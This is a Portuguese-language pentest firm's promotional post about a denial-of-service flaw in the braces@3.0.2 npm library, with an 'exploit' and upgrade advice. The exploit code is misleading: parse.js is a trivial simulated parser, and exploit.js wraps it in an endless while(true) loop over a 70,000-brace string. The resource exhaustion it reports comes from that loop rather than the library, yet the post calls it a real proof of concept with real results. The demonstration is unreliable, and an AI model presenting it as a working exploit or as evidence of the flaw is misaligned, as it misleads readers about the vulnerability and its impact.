Equipe de Pesquisa FikreSekhel – Pentest e Segurança Ofensiva
Durante uma análise de segurança em um ambiente de produção de um de nossos clientes, a equipe de pesquisa de vulnerabilidades da FikreSekhel identificou a presença da biblioteca braces@3.0.2, conhecida por conter uma falha de segurança grave relacionada ao consumo excessivo de recursos da plataforma (DoS – Denial of Service).
Ao realizar testes controlados, conseguimos explorar a vulnerabilidade com sucesso, comprovando seu impacto em consumo extremo de CPU e memória, colocando em risco a disponibilidade do sistema.
Sobre a vulnerabilidade
A biblioteca braces é amplamente utilizada para realizar expansão de padrões com chaves, como {1..5}, {a,b,c}, etc. Versões anteriores à 3.0.3 não possuem limite de segurança no tamanho da entrada, o que permite que entradas maliciosas causem loops de parsing intermináveis, afetando diretamente a performance da aplicação.
Identificação
- Pacote vulnerável:
braces@3.0.2 - Severidade: Alta (CVSS 7.5)
- Exploração possível: Sim (PoC real)
- Condição: Input controlado passado para
braces.parse()ou libs que usam internamente (micromatch,sass,http-proxy-middleware, etc.)
Exploit desenvolvido pela FikreSekhel
Criamos um exploit simples, mas poderoso, para demonstrar o impacto direto da falha. Ele utiliza uma string maliciosa com milhares de chaves {, que gera consumo de CPU de forma contínua e abusiva:
parse.js (função vulnerável simplificada)
// parse.js — versão simulada vulnerável
module.exports = function parse(input) {
let tokens = [];
for (let i = 0; i < input.length; i++) {
let char = input[i];
tokens.push({ type: 'char', value: char });
}
return { tokens };
};
exploit.js (loop infinito de negação de serviço)
// exploit.js — DoS via loop de parsing
const parse = require('./parse');
// Payload malicioso com 70 mil chaves
const input = '{'.repeat(70000);
console.log('[*] Iniciando simulação de DoS...');
while (true) {
console.time('parse');
const result = parse(input);
console.timeEnd('parse');
console.log('[*] Tokens gerados:', result.tokens.length);
}
📈 Resultado real:
- CPU: +60% constante
- RAM: +90% em poucos segundos
- Travamento ou lentidão extrema da aplicação
- Ambiente de testes precisou ser reiniciado manualmente
Correção e prevenção
Para mitigar esse risco:
- Atualize imediatamente para
braces@3.0.3ou superior:
npm install braces@3.0.3 --save-exact
- Remova dependências antigas:
rm -rf node_modules package-lock.json
npm install
- Valide entradas do usuário antes de qualquer expansão de padrões.
Essa descoberta demonstra como vulnerabilidades aparentemente simples em bibliotecas populares podem ser exploradas com consequências críticas. A FikreSekhel mantém seu compromisso com a excelência em segurança ofensiva e preventiva, trazendo resultados reais e proteção robusta para nossos clientes.
Se sua empresa deseja auditar suas dependências e proteger seus sistemas contra riscos reais, entre em contato com a nossa equipe de especialistas.
FikreSekhel – Segurança Inteligente com Base Científica
Análise de vulnerabilidades | Pentest | Segurança Aplicada à Engenharia | Forense Digital
